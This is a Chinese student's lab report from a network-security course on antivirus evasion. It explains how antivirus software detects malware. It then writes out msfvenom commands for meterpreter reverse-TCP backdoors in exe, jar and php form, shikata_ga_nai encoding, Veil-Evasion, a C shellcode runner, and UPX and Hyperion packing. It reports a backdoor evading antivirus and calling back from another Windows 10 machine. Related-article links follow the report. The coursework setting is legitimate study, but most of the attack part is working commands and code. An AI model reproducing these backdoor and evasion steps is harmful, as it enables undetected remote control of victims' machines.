NetSec2019 20165327 Exp3 免杀原理与实践

pre基础问题回答

一、免杀原理

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。

反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

二、Q&A

1、杀软是如何检测出恶意代码的?

基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)

基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)

2、免杀是做什么?

使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

3、免杀的基本方法有哪些?

①改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。

②改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

三、免杀效果评价

利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

环境:

kali IP:10.0.2.15

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

1、使用msf编码器

①用实验二学到的命令生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt.exe

②将生成的程序上传到virus total试试结果

③使用msf编码器对后门程序编码10次,-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt-encoded10.exe

④上传到virus total试试免杀操作是否有效



神马回事。。。为什么分母还变了?网的问题么?

2. msfvenom生成jar文件

①生成jar后门程序:

msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor_java.jar

②生成文件:



③扫描结果:

3. msfvenom生成php文件

①生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor.php

②生成文件:





③扫描结果:



有、、意思了

4. 使用veil-evasion生成后门程序及检测

打开veil:

use evasion

use c/meterpreter/rev_tcp.py

set LHOST 10.0.2.15

set LPORT 5327

options

结果:

输入generate生成文件,接着输入你想要playload的名字:veil_c_5327

生成文件:

扫描结果:



我操作应该没问题啊为什么和别人不一样

我是该笑还是哭。。。

5. 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f c用c语言生成一段shellcode;

创建一个文件20165327.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
……
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
; int main()
{
int (*func)() = (int(*)())buf;
func();
}

使用命令:i686-w64-mingw32-g++ 20165327.c -o 20165327.exe编译这个.c文件为可执行文件;

扫描结果:

使用windows上执行该程序时:



这是可以的意思吗?! 我的电脑除了管家没专业杀毒软件……

快速扫描:



自定义扫描:



这下总算扫到了。。。

6.加壳尝试一下

给之前的20165327.exe加个壳得到yjt_upxed.exe:upx 20165327.exe -o yjt_upxed.exe



扫描结果:

因为要回连,将yjt_upxed.exe放到了ncat文件夹里,查看连接情况

加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/中

输入命令wine hyperion.exe -v yjt_upxed.exe yjt_upxed_Hyperion.exe进行加壳:

扫描一下:

任务二:通过组合应用各种技术实现恶意代码免杀

任务一已做

任务三:(用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本)

免杀方法:20165327.exe,再使用压缩壳和加密壳进行加壳。

实验环境:对方win10本机,联想电脑管家

回连成功后:

一直出现的问题:注入半手工shellcode虽然能降低查杀率,但是貌似不能回连,怎么回事。。。

NetSec2019 20165327 Exp3 免杀原理与实践的更多相关文章

  1. 20165310 NetSec2019 Week5 Exp3 免杀原理与实践

    20165310 NetSec2019 Week5 Exp3 免杀原理与实践 一.免杀原理 杀软是如何检测出恶意代码的 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测 ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. #WEB安全基础 : HTTP协议 | 0x10 扩展HTTP报文结构概念和内容编码

    #以后的知识都是HTTP协议的扩展,如果精力有限可以选择暂时忽略,注意只是暂时忽略,以后的东西同样重要 HTTP传输数据时可以直接传输也可以对数据进行编码,由于编码在计算机内运行,所以会占用一些CPU ...

  2. (转)Oracle EBS 有效银行账户取值 银行科目

    SELECT ba.bank_account_id, --银行账户key ftv.territory_short_name, --国家 ftv.territory_code, --国家简称 cb.ba ...

  3. ForkJoinPool

    fork():开启一个新线程(或是重用线程池内的空闲线程),将任务交给该线程处理. join():等待该任务的处理线程处理完毕,获得返回值. ForkJoinPool 的每个工作线程都维护着一个工作队 ...

  4. Elasticsearch从入门到精通之Elasticsearch集群内的原理

    上一章节我介绍了Elasticsearch安装与运行,本章节及后续章节将全方位介绍 Elasticsearch 的工作原理 在这个章节中,我将会再进一步介绍 cluster . node . shar ...

  5. shell里连接数据库,将结果输出到变量

    result=$(sqlplus -s 'ccc/ccc@21.96.34.34:1521'<<EOF ..... EOF )

  6. Linux基础命令---ipcs显示进程通信

    ipcs ipcs指令用来显示进程间通信状况.“-i”选项允许指定特定的资源id.将只打印有关此id的信息. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.Fedora.SUS ...

  7. 原创《开源一个用 vue 写的树层级组件 vue-ztree》

    最近由于后台管理项目的需要,页面需要制作一个无限树的需求,我第一感就想到了插件 ztree,不过我觉得它太大了,还是自己动手丰衣足食吧. ztree 的 demo 地址:http://www.tree ...

  8. linux查看与修改交换内存配置(解决zabbix-agent启动报错)

    问题 zabbix-agent在一台centos6.5上启动报错: cannot allocate shared memory of size 949056: [28] No space left o ...

  9. SAP主数据文件版本号命名规范

    前提说明 最近在实施公司的SAP系统,需要对供应商,成品半成品原辅料,工艺路线,BOM等各种主数据进行收集,由于牵扯到多个部门进行合作整理数据,为了更方便进行文件版本的管理,特意学习下文件版本号命名规 ...

  10. 关于Java多线程的一些常考知识点

    前言 Java多线程也是面试中经常会提起到的一个点.面试官会问:实现多线程的两种方式以及区别,死锁发生的4个条件以及如何避免发生死锁,死锁和活锁的区别,常见的线程池以及区别,怎么理解有界队列与无界队列 ...